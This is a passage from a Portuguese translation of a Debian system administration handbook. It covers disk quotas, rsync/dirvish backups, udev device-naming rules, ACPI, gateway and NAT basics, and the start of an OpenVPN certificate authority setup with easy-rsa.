bytes, irá contudo ser saturada com apenas 100 arquivos de 500 bytes cada, apenas repre-
sentando 50,000 bytes no total.

• dois limites (soft e hard) referem-se ao número de inodes usados. Cada arquivo ocupa,
pelo menos, um inode para armazenar informação sobre ele (permissões, proprietário,
timestamp do último acesso, etc.). Ele é, portanto, um limite no número de arquivos do
usuário.

Um limite “soft” pode ser excedido temporariamente; o usuário apenas será alertado que está
excedendo a quota pelo comando warnquota, o qual geralmente é invocado pelo cron. Um
limite “hard” nunca pode ser excedido: o sistema irá recusar qualquer operação que faça com
que uma quota ”hard” seja excedida.

VOCABULÁRIO

Blocos e inodes
O sistema de arquivos divide o disco rígido em blocos — pequenas áreas contíguas.
O tamanho desses blocos é definido durante a criação do sistema de arquivos, e
geralmente varia entre 1 e 8 kibibytes.

Um bloco pode ser usado tanto para armazenar dados reais de um arquivo, quanto
para meta-dados usados pelo sistema de arquivos. Dentre desse meta-dados, você
irá encontrar especialmente os inodes. Um inode usa um bloco no disco rígido (mas
esse bloco não é levado em consideração na quota de bloco, apenas na quota inode),
e contém as informações sobre o arquivo o qual ele corresponde (nome, proprietá-
rio, permissões, etc.) e os ponteiros para os blocos de dados que eles realmente
usam. Para arquivos realmente grandes que ocupam mais blocos do que é possível
referenciar em um único inode, existe um sistema de bloco indireto; o inode refe-
rencia uma lista de blocos que não contém dados diretamente, mas outra lista de
blocos.

Com o comando edquota -t, você pode definir um ”período de tolerância máxima autorizado
no qual um limite ”soft” pode ser excedido. Após esse período, o limite ”soft” será tratado como
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um limite ”hard”, e o usuário terá que reduzir seu espaço de disco usado para dentro do limite
para que seja possível escrever qualquer coisa no disco rígido.

INDO ALÉM

Configurando uma quota
padrão para novos

usuários

Para configurar automaticamente uma quota para novos usuários, você tem que
configurar um usuário modelo (com edquota ou setquota) e indicar seu nome de
usuário na variável QUOTAUSER no arquivo /etc/adduser.conf. Essa configuração
de quota irá então ser aplicada automaticamente para cada novo usuário criado
com o comando adduser.

9.10. Backup

Fazer cópias de segurança (backups) é uma das principais responsabilidades de qualquer admi-
nistrador, mas é um assunto complexo, envolvendo ferramentas poderosas que geralmente são
difíceis de dominar.
Existem muitos programas, como amanda, bacula, BackupPC. Esses são sistemas cliente/servi-
dor apresentandomuitas opções, cuja configuração é bemdifícil. Alguns deles fornecem interfa-
ces web amigáveis para mitigar isso. Mas o Debian contém dúzias de outros softwares de cópia
de segurança (backup) cobrindo todos os casos de uso, como você pode facilmente confirmar
com apt-cache search backup.
Ao invés de detalhar alguns deles, essa seção irá apresentar os pensamentos dos administradores
da Falcot Corp quando eles definem sua estratégia de cópia de segurança (backup).
Para a Falcot Corp, cópias de segurança tem dois objetivos: recuperar arquivos apagados errone-
amente, e restaurar rapidamente qualquer computador (servidor ou desktop) que o disco rígido
tenha falhado.

9.10.1. Cópias de segurança com rsync

Fazer cópias de segurança (backups) em fita tem sido considerado muito lento e caro, os dados
serão copiados em discos rígidos em um servidor dedicado, no qual com o uso de RAID em soft-
ware (veja Seção 12.1.1, “RAID Por Software” [318]) irá proteger os dados de uma falha do disco
rígido. Não são feitas cópias de segurança individuais para computadores desktop, porém os
usuários são avisados que suas contas pessoais em seu servidor de arquivos do departamento te-
rão cópias de segurança. O comando rsync (do pacote com mesmo nome) é usado diariamente
para fazer cópias de segurança desses diferentes servidores.

DE VOLTA AO BÁSICO

A ligação forte (hard
link), um segundo nome

para o arquivo

Uma ligação física (hard link), ao contrário de uma ligação simbólica, não pode ser
diferenciada do arquivo original. A criação de uma ligação física é, essencialmente,
o mesmo que dar a um arquivo existente um segundo nome. É por isso que apagar
uma ligação forte apenas remove um dos nomes associados ao arquivo. Enquanto o
outro nome continuar referenciando o arquivo, os dados nele continuarão presentes
no sistema de arquivos. É interessante notar que, diferentemente de uma cópia, a
ligação forte não ocupa espaço adicional no disco rígido.
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Um link físico é criado com o comando ln alvo ligação. O arquivo ligação é
então umnome novo para o arquivo alvo. Ligações físicas apenas podem ser criadas
nomesmo sistema de arquivos, enquanto que ligações simbólicas não estão sujeitas
a essa limitação.

O espaço disponível no disco rígido proíbe a implementação de uma cópia de segurança (bac-
kup) completa diária. Sendo assim, o comando rsync é precedido pela duplicação do conteúdo
da cópia de segurança prévia com ligações fortes, o que previne o uso de muito espaço no disco
rígido. O processo rsync então apenas substitui arquivos que forammodificados desde a última
cópia de segurança (backup). Com esse mecanismo um grande número de cópias de segurança
podem ser mantidas em uma pequena quantidade de espaço. Como todas as cópias de segu-
rança ficam imediatamente disponíveis e acessíveis (por exemplo, em diferentes diretórios de
um dado compartilhamento na rede), você pode fazer comparações entre duas datas determi-
nadas rapidamente.
Esse mecanismo de cópia de segurança (backup) é facilmente implementado com o programa
dirvish. Ele usa um espaço de armazenamento de cópia de segurança (backup) (“bank” no
seu vocabulário) no qual ele coloca cópias protocoladas de conjuntos de arquivos de cópias de
segurança (backup) (esses conjuntos são chamados de “vaults” na documentação do dirvish).
A principal configuração está no arquivo /etc/dirvish/master.conf. ele define a localização
do espaço de armazenamento de cópias de segurança (backup), a lista de “vaults” a gerenciar,
e os valores padrão para expiração das cópias de segurança (backups). O resto da configuração
está localizada nos arquivos bank/vault/dirvish/default.conf e contém as configurações es-
pecíficas para os correspondentes conjuntos de arquivos.

Exemplo 9.3 O arquivo /etc/dirvish/master.conf

bank:
/backup

exclude:
lost+found/
core
*~

Runall:
root 22:00

expire-default: +15 days
expire-rule:
# MIN HR DOM MON DOW STRFTIME_FMT

* * * * 1 +3 months
* * 1-7 * 1 +1 year
* * 1-7 1,4,7,10 1

A configuração bank indica o diretório no qual as cópias de segurança (backup) são armazenadas.
A configuração exclude permite que você indique os arquivos (ou tipos de arquivo) a excluir da
cópia de segurança (backup). A Runall é uma lista de conjuntos de arquivos a terem cópia de
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segurança com um protocolo (time-stamp) para cada conjunto, o que permite a você atribuir
a data correta à cópia, no caso da cópia de segurança (backup) não seja desencadeada no horá-
rio precisamente determinado. Você tem que indicar um horário logo antes do real horário de
execução (que é, por padrão, 10:04 pm no Debian, de acordo com /etc/cron.d/dirvish). Fi-
nalmente, as definições expire-default e expire-rule definem a política de expiração para cópias
de segurança (backups). O exemplo acima mantém para sempre cópias de segurança (backups)
que são gerados no primeiro Domingo de cada trimestre, apaga depois de um ano aqueles do
primeiro Domingo de cada mês, e depois de 3 meses aqueles de outros Domingos. Outras cópias
de segurança diárias são mantidas por 15 dias. A ordem das regras importa, Dirvish usa a última
regra que coincide, ou a expire-default se nenhuma outra expire-rule coincida.

NA PRÁTICA

Agendamento de
expiração

As regras de expiração não são usadas pelo dirvish-expire para fazer seu traba-
lho. Na realidade, as regras de expiração são aplicadas ao criar uma nova cópia de
backup para definir a data de expiração associada à essa cópia. dirvish-expire
apenas examina as cópias armazenadas e apaga aquelas que a data de expiração já
passou.

Exemplo 9.4 O arquivo /backup/root/dirvish/default.conf

client: rivendell.falcot.com
tree: /
xdev: 1
index: gzip
image-default: %Y%m%d
exclude:

/var/cache/apt/archives/*.deb
/var/cache/man/**
/tmp/**
/var/tmp/**
*.bak

Os exemplos acima especificam o conjunto de arquivos que terão cópias de segurança: esses são
arquivos damáquina rivendell.falcot.com (para cópias de segurança de dados locais, simplesmente
especifique o nome da máquina local como indicado pelo hostname), especialmente aqueles na
árvore raiz (tree: /), exceto aqueles listados em exclude. A cópia de segurança será limitada ao
conteúdo de um sistema de arquivos (xdev: 1). Ela não incluirá arquivos de outros pontos de
montagem. Um índice dos arquivos salvos será gerado (index: gzip), e a imagem será nomeada
de acordo com a data atual (image-default: %Y%m%d).
Existem muitas opções disponíveis, todas documentadas na página de manual
dirvish.conf(5). Uma vez que esses arquivos de configuração estejam configurados,
você tem que inicializar cada conjunto de arquivos com o comando dirvish --vault vault
--init. A partir daí, cada invocação diária de dirvish-runall irá automaticamente criar uma
nova cópia de segurança logo após apagar aquelas que expiraram.
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NA PRÁTICA

Cópia de segurança
remota com SSH

Quando o dirvish precisa salvar dados em uma máquina remota, ele irá usar o ssh
para fazer a conexão, e irá iniciar o rsync como um servidor. Isso requer que o
usuário root seja capaz de automaticamente conectar a ele. O uso de uma chave
de autenticação SSH permite precisamente isso (veja Seção 9.2.1.1, “Autenticação
Baseado em Chave” [204]).

9.10.2. Restaurando Máquinas sem Cópias de Segurança

Computadores desktop, que não tem cópia de segurança, serão facilmente reinstalados a partir
de DVD-ROMs customizados preparados com o Simple-CDD (see Seção 12.3.3, “Simple-CDD: A So-
lução Tudo-Em-Um” [362]). Como isso significa uma instalação a partir do zero, toda customiza-
ção que tenha sido feita após a instalação inicial será perdida. Isso é aceitável já que os sistemas
são todos ligados a um diretório LDAP central para contas e a maioria das aplicações desktop
são pré-configuradas, graças ao dconf (veja Seção 13.3.1, “GNOME” [377] para mais informações
sobre isso).
Os administradores da Falcot Corp estão cientes dos limites de sua política de cópia de segurança
(backup). Como eles não podem proteger o servidor de cópia de segurança e as fitas num cofre
a prova de incêndio, eles instalaram o servidor em uma sala separada, para que um desastre
como um incêndio na sala do servidor não destrua as cópias de segurança junto com tudo mais.
Além domais, eles podem fazer uma cópia de segurança incremental em DVD-ROM uma vez por
semana — apenas arquivos que tiverem sido modificados desde a última cópia de segurança são
incluídos.

APROFUNDANDO

Cópia de segurança de
serviços de SQL e LDAP

Muitos serviços (como bancos de dados SQL ou LDAP) não podem ter cópias de se-
gurança (backup) fazendo apenas cópias de seus arquivos (a menos que eles sejam
interrompidos de maneira apropiada durante a criação das cópias de segurança,
o que é frequentemente problemático, já que a intenção é que eles estejam dis-
poníveis o tempo todo). Sendo assim, é necessário usar um mecanismo “export”
para criar um “data dump” para se ter uma cópia de segurança segura. Essas são
geralmente bem grandes, mas tem boa compressão. Para reduzir o espaço de ar-
mazenamento necessário, você apenas irá armazenar um arquivo de texto com-
pleto por semana, e um diff cada dia, que é criado com um comando do tipo
diffarquivo_de_ontem arquivo_de_hoje. O programa xdelta produz diferen-
ças incrementais a partir de ”dumps” binários.

CULTURA

TAR, o padrão para cópias
de seguranças em fita

Historicamente, a maneira mais simples de fazer uma cópia de segurança (backup)
no Unix era armazenar um arquivo TAR em uma fita. O comando tar até pegou
seu nome de “Tape ARchive”.
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9.11. Hot Plugging: hotplug

9.11.1. Introdução

O subsistema do núcleo hotplug dinamicamente lida com a adição e remoção de dispositivos car-
regando os drives apropriados e criando os arquivos de dispositivos correspondentes (com a
ajuda do udevd). Com hardware e virtualização modernos, quase tudo pode ser adicionado/re-
movido dinamicamente (hotplugged): dos usuais periféricos 1394 USB/PCMCIA/IEEE até discos
rígidos SATA, mas também a CPU e a memória.
O núcleo temumbanco de dados que associa cada ID de dispositivo como driver necessário. Esse
banco de dados é usado durante a inicialização para carregar todos os drivers para dispositivos
detectados nos diferentes barramentos, mas também quando um dispositivo hotplug adicional
é conectado. Uma vez que o dispositivo esteja pronto para uso, uma mensagem é enviada para
o udevd para que ele seja capaz de criar a entrada correspondente em /dev/.

9.11.2. O Problema da nomeação

Antes do aparecimento das conexões hotplug, era fácil determinar um nome fixo para um dispo-
sitivo. Isso era baseado simplesmente na posição dos dispositivos em seu respectivo barramento.
Mas isso não é possível quando dispositivos deste tipo podem ir e vir no barramento. O típico
caso é o uso de uma câmera digital e um pendrive, os dois aparecem para o computador como
discos. O primeiro conectado pode ser /dev/sdb e o segundo /dev/sdc (com /dev/sda repre-
sentando o próprio disco rígido do computador). O nome do dispositivo não é fixo; ele depende
da ordem na qual o dispositivo é conectado.
Adicionalmente, mais e mais drivers usam valores dinâmicos para os números principal/secun-
dário de dispositivos, o que torna impossível ter entradas estáticas para determinados disposi-
tivos, já que essas características essenciais podem variar após uma reinicialização.
O udev foi criado precisamente para resolver esse problema.

9.11.3. Como o udev Funciona

Quando o udev é notificado pelo núcleo do aparecimento de um novo dispositivo, ele coleta
várias informações do referido dispositivo consultando as entradas correspondentes em /sys/,
especialmente aquelas que o identificam como único (endereço MAC para uma placa de rede,
número serial para alguns dispositivos USB, etc.).
Armado com toda essa informação, o udev então consulta todas as regras contidas em /etc/
udev/rules.d/ e /lib/udev/rules.d/. Neste processo ele decide como nomear o dispositivo,
quais ligações simbólicas criar (para dar nomes alternativos), e quais comandos executar. Todos
esses arquivos são consultados, e as regras são todas avaliadas sequencialmente (exceto quando
um arquivo usa a diretiva “GOTO”). Assim, pode haver várias regras que correspondem a um
determinado evento.
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A sintaxe dos arquivos de regras é bem simples: cada linha contém critérios de seleção e atri-
buições de variáveis. Os primeiros são usados para selecionar eventos para os quais existe uma
necessidade de reagir, e os últimos definem a ação a ser tomada. Todos são simplesmente sepa-
rados com vírgulas, e o operador implicitamente diferencia entre um critério de seleção (com
operadores de comparação, como == ou !=) ou uma diretiva de atribuição (com operadores como
=, += ou :=).
Operadores de comparação são usados nas seguintes variáveis:

• KERNEL: o nome que o núcleo atribui ao dispositivo;
• ACTION: a ação correspondente ao evento (“add” quando o dispositivo tiver sido adicio-
nado, ”remove” quando ele tiver sido removido);

• DEVPATH: o caminho da entrada /sys/ do dispositivo;
• SUBSYSTEM: o subsistema do núcleo que gerou a requisição (existemmuitos, mas alguns
exemplos são “usb”, “ide”, “net”, “firmware”, etc.);

• ATTR{attribute}: conteúdo do arquivo attribute no diretório /sys/$devpath/ do disposi-
tivo. É onde você encontra o endereço MAC e outros identificadores específicos de barra-
mento;

• KERNELS, SUBSYSTEMS e ATTRS{attributes} são variações que irão tentar combinar as
diferentes opções sobre um dos dispositivos pai do atual dispositivo;

• PROGRAM: delega o teste ao programa indicado (verdadeiro se retorna 0, falso caso não).
O conteúdo da saída padrão do programa é armazenado para que ele possa ser reusado
pelo teste RESULT;

• RESULT: executa testes na saída padrão armazenada durante a última chamada ao PRO-
GRAM.

Os operadores da direita podemusar expressões padrão para casar comvários valores aomesmo
tempo. Por exemplo, * casa com qualquer cadeia de caracteres (mesmo uma vazia); ? casa com
qualquer caractere, e [] casa comumconjunto de caracteres listados entre o par de colchetes (ou
o oposto do mesmo se o primeiro caractere for um ponto de exclamação, e intervalos contíguos
de caracteres são indicados como a-z).
Em consideração aos operadores de atribuição, = atribui um valor (e substitui o valor corrente);
no caso de uma lista, ela é esvaziada e contém apenas o valor atribuído. := faz o mesmo, mas
previne alterações posteriores a mesma variável. Quanto a +=, ele adiciona um item a lista. As
seguintes variáveis podem ser alteradas:

• NAME: o nome de arquivo do dispositivo a ser criado em /dev/. Apenas a primeira atri-
buição conta; as outras são ignoradas;

• SYMLINK: a lista de ligações simbólicas que irão apontar para o mesmo dispositivo;
• OWNER,GROUP eMODEdefinemousuário e grupo aquempertence odispositivo, assim
como as permissões associadas;

• RUN: a lista de programas a executar em resposta a este evento.
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Os valores atribuídos a essas variáveis podem usar um número de substituições:

• $kernel ou %k: equivalente a KERNEL;
• $number ou %n: o número de ordem do dispositivo, por exemplo, para sda3, ele seria “3”;
• $devpath ou %p: equivalente a DEVPATH;
• $attr{attribute} ou %s{attribute}: equivalente a ATTRS{attribute};
• $major ou %M: o maior número de núcleo do dispositivo;
• $minor ou %m: o menor número do núcleo do dispositivo ;
• $result ou %c: a cadeia de caracteres emitida (”output”) pelo último programa invocado
pelo PROGRAM;

• e, finalmente, %% e $$ para os sinais de porcento e dólar, respectivamente.

As listas acima não são completas (elas incluem apenas os parâmetros mais importantes), mas a
página de manual udev(7) deve ser exaustiva.

9.11.4. Um exemplo concreto

Vamos considerar o caso de uma simples chave USB e tentar atribuir um nome fixo para ela.
Primeiro, você tem que encontrar os elementos que iram identificar ela de uma maneira única.
Para isso, conecte ela e rode udevadm info -a -n /dev/sdc (substituindo /dev/sdc pelo real
nome atribuído a chave).
# udevadm info -a -n /dev/sdc
[...]
looking at device ’/devices/pci0000:00/0000:00:10.3/usb1/1-2/1-2.2/1-2.2:1.0/host9/

å target9:0:0/9:0:0:0/block/sdc’:
KERNEL==”sdc”
SUBSYSTEM==”block”
DRIVER==””
ATTR{range}==”16”
ATTR{ext_range}==”256”
ATTR{removable}==”1”
ATTR{ro}==”0”
ATTR{size}==”126976”
ATTR{alignment_offset}==”0”
ATTR{capability}==”53”
ATTR{stat}==” 51 100 1208 256 0 0 0

å 0 0 192 25 6”
ATTR{inflight}==” 0 0”

[...]
looking at parent device ’/devices/pci0000:00/0000:00:10.3/usb1

å /1-2/1-2.2/1-2.2:1.0/host9/target9:0:0/9:0:0:0’:
KERNELS==”9:0:0:0”
SUBSYSTEMS==”scsi”
DRIVERS==”sd”
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ATTRS{device_blocked}==”0”
ATTRS{type}==”0”
ATTRS{scsi_level}==”3”
ATTRS{vendor}==”I0MEGA ”
ATTRS{model}==”UMni64MB*IOM2C4 ”
ATTRS{rev}==” ”
ATTRS{state}==”running”

[...]
ATTRS{max_sectors}==”240”

[...]
looking at parent device ’/devices/pci0000:00/0000:00:10.3/usb1/1-2/1-2.2’:
KERNELS==”9:0:0:0”
SUBSYSTEMS==”usb”
DRIVERS==”usb”
ATTRS{configuration}==”iCfg”
ATTRS{bNumInterfaces}==” 1”
ATTRS{bConfigurationValue}==”1”
ATTRS{bmAttributes}==”80”
ATTRS{bMaxPower}==”100mA”
ATTRS{urbnum}==”398”
ATTRS{idVendor}==”4146”
ATTRS{idProduct}==”4146”
ATTRS{bcdDevice}==”0100”

[...]
ATTRS{manufacturer}==”USB Disk”
ATTRS{product}==”USB Mass Storage Device”
ATTRS{serial}==”M004021000001”

[...]

Para criar uma nova regra, você pode usar testes nas variáveis do dispositivo, bem como aquelas
de um dos dispositivos mãe. O caso acima permite-nos criar duas regras como essa:
KERNEL==”sd?”, SUBSYSTEM==”block”, ATTRS{serial}==”M004021000001”, SYMLINK+=”usb_key/

å disk”
KERNEL==”sd?[0-9]”, SUBSYSTEM==”block”, ATTRS{serial}==”M004021000001”, SYMLINK+=”

å usb_key/part%n”

Uma vez que essas regras estejam definidas em um arquivo, nomeado por exemplo como /etc/
udev/rules.d/010_local.rules, você pode simplesmente remover e reconectar o dispositivo
USB. Você pode então ver que /dev/usb_key/disk representa o disco associado ao dispositivo
USB, e /dev/usb_key/part1 é sua primeira partição.

INDO ALÉM

Depurando a
configuração do udev

Como muitos daemons, o udevd armazena os seus logs em /var/log/daemon.log.
Mas ele não é muito detalhado por padrão, e sendo assim, geralmente não é su-
ficiente para se entender o que está acontecendo. O comando udevadm control
--log-priority=info incrementa o nível de detalhamento e resolve esse problema.
udevadm control --log-priority=err retorna ao nível de detalhamento pa-
drão.
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9.12. Gerenciamento de Energia: Advanced Configuration and Power In-
terface (ACPI)

O tópico de gerenciamento de energia geralmente é problemático. Na verdade, suspender corre-
tamente o computador requer que todos os drives de dispositivos do computador saibam como
colocá-los em espera (standby), e que eles reconfigurem corretamente os dispositivos ao acor-
dar. Infelizmente, ainda existem alguns dispositivos que não são capazes de dormir bem sob o
Linux, porque seus fabricantes não forneceram as especificações necessárias.
Linux suporta ACPI (Advanced Configuration and Power Interface) — o mais recente padrão em
gerenciamento de energia. O pacote acpid fornece um daemon que procura por eventos relacio-
nados a gerenciamento de energia (alternando entre AC e energia de bateria em um laptop, etc.)
e que pode executar vários comandos em resposta.

ATENÇÃO

Placas gráficas e espera
(standby)

O driver da placa gráfica é, muitas vezes, o culpado quando a espera (standby) não
funciona apropriadamente. Neste caso, é uma boa idéia testar a última versão do
servidor gráfico X.org.

Após esta visão geral dos serviços básicos comuns amuitos sistemas Unix, vamos nos concentrar
no ambiente das máquinas administrados: a rede. Muitos serviços são necessários para que a
rede funcione corretamente. Eles serão discutidos no próximo capítulo.
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O Linux dispõe de toda a tradição do Unix na área de redes, e o Debian fornece um conjunto completo de
ferramentas para criar e gerenciar tais redes. Este capítulo apresenta estas ferramentas.



10.1. Gateway

Um gateway é um sistema de ligação de várias redes. Este termo frequentemente se refere ao
”ponto de saída” de uma rede local no caminho obrigatório para endereços IP externos. O ga-
teway está ligado a cada umadas redes que une e atua comoumroteador para transmitir pacotes
IP entre suas várias interfaces.

DE VOLTA AO BÁSICO

pacote IP
A maioria das redes atualmente utiliza o protocolo IP (Internet Protocol). Este pro-
tocolo segmenta a transmissão dos dados em pacotes de tamanho limitado. Cada
pacote contém, em adição aos seus dados úteis, uma quantidade de detalhes ne-
cessários para seu próprio roteamento.

DE VOLTA AO BÁSICO

TCP/UDP
Muitos programas não manipulam os pacotes individuais por si sós, mesmo que os
dados que eles transmitam trafegem sobre IP; Eles geralmente usam TCP (Trans-
mission Control Protocol). TCP é uma camada acima do IP que permite o estabele-
cimento de conexões dedicadas a fluxos de dados entre dois pontos. Os programas
então vêem apenas um ponto de entrada no qual os dados podem ser enviados com
a garantia que os mesmos dados vão sair sem perdas (e na mesma sequência) no
ponto de saída na outra extremidade da conexão. Embora muitos tipos de erros
possam acontecer em camadas mais baixas, eles são compensados pelo TCP: paco-
tes perdidos são retransmitidos, e pacotes chegando fora de ordem (por exemplo,
se pegaram caminhos diferentes) são reordenados corretamente.

Outro protocolo que se baseia no IP é o UDP (User Datagram Protocol). Ao contrá-
rio do TCP, ele é orientado a pacote. Seus objetivos são diferentes: O objetivo do
UDP é apenas transmitir um pacote de uma aplicação para outra. O protocolo não
tenta compensar possíveis perdas de pacotes no caminho, nem garante que pacotes
são recebidos na ordem em que foram enviados. A principal vantagem deste proto-
colo é que a latência fica muito melhor, uma vez que a perda de um pacote único
não atrasa o recebimento de todos os pacotes seguintes até que o que se perdeu
seja retransmitido.

TCP e UDP ambos envolvem portas, que são ”números de ramal” para estabele-
cer a comunicação com um determinado aplicativo em uma máquina. Este con-
ceito permite manter várias comunicações diferentes em paralelo com o mesmo
correspondente, já que estas comunicações podem ser diferenciadas pelo número
da porta.

Alguns destes números de portas — pedronizados pela IANA (Internet Assigned
Numbers Authority) — são ”famosos” por estarem associados a certos serviços de
rede. Por exemplo, a porta TCP 25 é geralmente usada pelo servidor de email.

è http://www.iana.org/assignments/port-numbers

Quando uma rede local usa um intervalo de endereços privado (não roteável na Internet), o
gateway precisa implementar mascaramento de endereço para que as máquinas na rede possam
se comunicar com o mundo exterior. A operação de mascaramento é um tipo de operação de
proxy no nível de rede: cada conexão saindo de uma máquina interna é substituída com uma
conexão do próprio gateway (já que o gateway tem um endereço externo e roteável), os dados
passando pela conexão mascarada são enviados para a nova, e os dados voltando como resposta
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são enviados através da conexãomascarada para amáquina interna. O gateway usa um intervalo
de portas TCP dedicadas para este objetivo, normalmente com números bastante altos (acima
de 60000). Cada conexão vindo de uma máquina interna aparece então para o mundo exterior
como uma conexão vindo de uma destas portas reservadas.

CULTURA

Série de Endereços
Privados

A RFC 1918 define três intervalos de endereços IPv4 que não devem ser roteados
na Internet mas apenas usados em redes locais. O primeiro, 10.0.0.0/8 (veja
na barra lateral Conceitos essenciais de rede (Ethernet, endereço IP, sub-rede,
broadcast) [156]), é um intervalo de classe A (com 224 endereços IP). O segundo,
172.16.0.0/12, trás 16 intervalos de classe B (172.16.0.0/16 a 172.31.0.0/16),
cada um contendo 216 endereços IP. Finalmente, 192.168.0.0/16 é um inter-
valo de classe B (agrupando 256 intervalos de classe C, 192.168.0.0/24 a
192.168.255.0/24, com 256 endereços IP cada).

è http://www.faqs.org/rfcs/rfc1918.html

O gateway tambémpode realizar dois tipos de NAT (network address translation ou tradução de en-
dereço de rede). O primeiro tipo, DNAT (Destination NAT ou NAT no destino) é uma técnica para
alterar o endereço IP de destino (e/ou a porta TCP ou UDP) para uma conexão (geralmente) en-
trando. O mecanismo de rastreio de conexão também altera os seguintes pacotes na mesma
conexão para garantir a continuidade na comunicação. O segundo tipo de NAT é o SNAT (Source
NAT ou NAT na origem), do qual masquerading (ou mascaramento) é um caso particular; SNAT
altera o endereço IP de origem (e/ou a porta TCP ou UDP) de uma conexão (geramente) saindo.
Assim como no DNAT, todos os pacotes na conexão são apropriadamente manipulados pelo me-
canismo de rastreio de conexão. Observe que o NAT só é relevante para o IPv4 e seu espaço
de endereços limitado; no IPv6, a ampla disponibilidade de endereços reduz grandemente a
utilidade de NAT permitindo que todo endereço ”interno” possa ser diretamente roteável na
Internet (isto não implica que as máquinas internas serão acessíveis, uma vez que firewalls in-
termediários possam filtrar o tráfego).

DE VOLTA AO BÁSICO

Encaminhamento de
porta

Uma aplicação concreta doDNAT é o port forwarding (encaminhamento de portas).
Conexões chegando numa porta de umamáquina são direcionadas para uma porta
de outramáquina. Outras soluções podem existir para se chegar a um efeito similar,
entretanto. Especialmente no nível de aplicação com ssh (veja em Seção 9.2.1.3,
“Criando Túneis Criptografados com Encaminhamento de Porta” [205]) ou redir.

Chega de teoria, vamos para a prática. Fazer do Debian um gateway é simplesmente habilitar a
opção apropriada no núcleo Linux, através do sistema de arquivos virtual /proc/:
# echo 1 > /proc/sys/net/ipv4/conf/default/forwarding

Esta opção também pode ser automaticamente habilitada no boot se em /etc/sysctl.conf a
opção net.ipv4.conf.default.forwarding estiver com valor 1.

Exemplo 10.1 O arquivo /etc/sysctl.conf
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net.ipv4.conf.default.forwarding = 1
net.ipv4.conf.default.rp_filter = 1
net.ipv4.tcp_syncookies = 1

O mesmo efeito pode ser obtido para o IPv6 simplesmente substituindo o ipv4 por ipv6 no co-
mando manual e usando a linha net.ipv6.conf.all.forwarding em /etc/sysctl.conf.
Habilitandomascaramento IPv4 é uma operação um poucomais complexa que envolve configu-
rar o firewall netfilter.
Similarmente, o uso do NAT (para IPv4) requer a configuração do netfilter. Uma vez que o obje-
tivo primário deste componente é filtragem de pacotes, os detalhes são listados em Capítulo 14:
“Segurança” (veja em Seção 14.2, “Firewall ou Filtragem de pacotes” [396]).

10.2. Rede Privada Virtual

Uma Rede Privada Virtual (ou VPN, de Virtual Private Network) é uma forma de conectar duas
redes locais diferentes através de um túnel pela internet; o túnel é normalmente criptografado
para confidencialidade. VPNs são em geral usadas para integrar uma máquina remota numa
rede local de uma empresa.
Várias ferramentas fornecem isto. O OpenVPN é uma solução eficiente, fácil de publicar e man-
ter, baseado em SSL/TLS. Outra possibilidade é usar o IPsec para criptografar o tráfego IP entre
duas máquinas; esta criptografia é transparente, o que significa que aplicações rodando nestas
máquinas não precisam ser modificadas para serem compatíveis com VPN. SSH também pode
ser usado para fornecer uma VPN, adicionalmente às suas funcionalidades mais convencionais.
Finalmente, uma VPN pode ser estabelecida usando o protocolo PPTP da Microsoft. Outras so-
luções existem, mas estão além do escopo deste livro.

10.2.1. OpenVPN

O OpenVPN é um pedaço de software dedicado a criar redes virtuais privadas. Sua configuração
envolve a criação de interfaces de rede virtual em um servidor VPN e no(s) cliente(s); ambas
interfaces tun (para túneis IP-level) e tap (para túneis Ethernet-level) são suportadas. Na pratica,
a interface tun irá geralmente ser amais usada, excerto quando os clientesVPN forem feitos para
serem integrados na rede local do servidor por meio de uma ponte (brigde) Ethernet.
O OpenVPN depende do OpenSSL para criptografia SSL/TLS e funcionalidades associadas (confi-
dencialidade, autenticação, integridade, não-repudio). Ele pode ser configurado tanto com uma
chave privada compartilhada, como usando um certificado X.509 baseado em uma infraestru-
tura de chave pública. Essa última configuração é fortemente preferida já que permite grande
flexibilidade quando lida com um crescente número de usuários ”roaming” acessando a VPN.
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CULTURA

SSL e TLS
O protocolo SSL (Secure Socket Layer) foi inventado pela Netscape para dar se-
gurança nas conexões com servidores web. Ele foi, depois, padronizado pela IETF
sob o acrônimo TLS (Transport Layer Security). Desde então o TLS continuou a
evoluir e hoje em dia o SSL está depreciado devido a múltiplas falhas de projeto
que tem sido descobertas.

Infraestrutura de Chaves Públicas: easy-rsa

O algorítimo RSA é amplamente usado em criptografia de chave pública. Trata-se de um “par de
chaves”, composto de uma chave privada e uma chave pública. As duas chaves são intimamente
ligadas uma a outra, e suas propriedadesmatemáticas são tais que umamensagem criptografada
com a chave pública só pode ser descriptografada por alguém que conhece a chave privada, o
que garante confidencialidade. Na direção oposta, uma mensagem criptografada com a chave
privada pode ser descriptografada por qualquer um que saiba a chave pública, o que permite
autenticar a origem da mensagem já que apenas alguém com acesso a chave privada poderia
gerá-la. Quando associada a uma função digital hash (MD5, SHA1, ou uma variantemais recente),
isso leva a um mecanismo de assinatura que pode ser aplicado a qualquer mensagem.
Contudo, qualquer um pode criar um par de chaves, armazenar qualquer identidade nele, e fin-
gir ser a identidade de sua escolha. Uma solução envolve o conceito de uma Certification Autho-
rity (CA), formalizado pelo padrão X.509. Esse termo cobre uma entidade que possui um par de
chaves confiável conhecido como um root certificate. Esse certificado só é usado para assinar ou-
tros certificados (par de chaves), após os passos apropriados terem sido tomados para checar
a identidade armazenada no par de chaves. Aplicações usando o X.509 podem então checar os
certificados apresentados a elas, se elas souberem sobre os root certificates confiáveis.
O OpenVPN segue essa regra. Como CAs públicos apenas emitem certificados em troca de uma
(pesada) taxa, também é possível criar um certificado de autoridade privado dentro da compa-
nhia. O pacote easy-rsa provê ferramentas que servem como uma infraestrutura de certificação
X.509, implementada como um conjunto de scripts usando o comando openssl.

NOTE

easy-rsa antes da Jessie

Em versões doDebian até oWheezy, o easy-rsa era distribuido com parte do pacote
openvpn, e seus scripts eram para ser encontrados em /usr/share/doc/openvpn/
examples/easy-rsa/2.0/. A criação de um CA envolvia a cópia desse diretório,
ao invéz de usar o comando make-cadir como documentado aqui.

os adminitradores da Falcot Corp usam essa ferramenta para criar os certificados necessários,
tanto para servidor quanto para clientes. Isso permite que a configuração de todos os clientes
sejam similar já que eles apenas terão de ser configurados para confiar em certificados vindos
da CA local daFalcot. Esse CA é o primeiro certificado a ser criado; para esse fim, os administra-
doresconfiguram um diretório com os arquivos necessários para o CA em um local apropriado,
preferencialmente emumamáquina não conectada a rede, demaneira amitigar o risco da chave
privada CA ser roubada.
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$ make-cadir pki-falcot
$ cd pki-falcot

Eles então armazenamos parâmetros requeridos dentro do arquivo vars, especialmente aqueles
nomeados com o prefixo KEY_; essas variáveis são então integradas ao ambiente:
$ vim vars
$ grep KEY_ vars
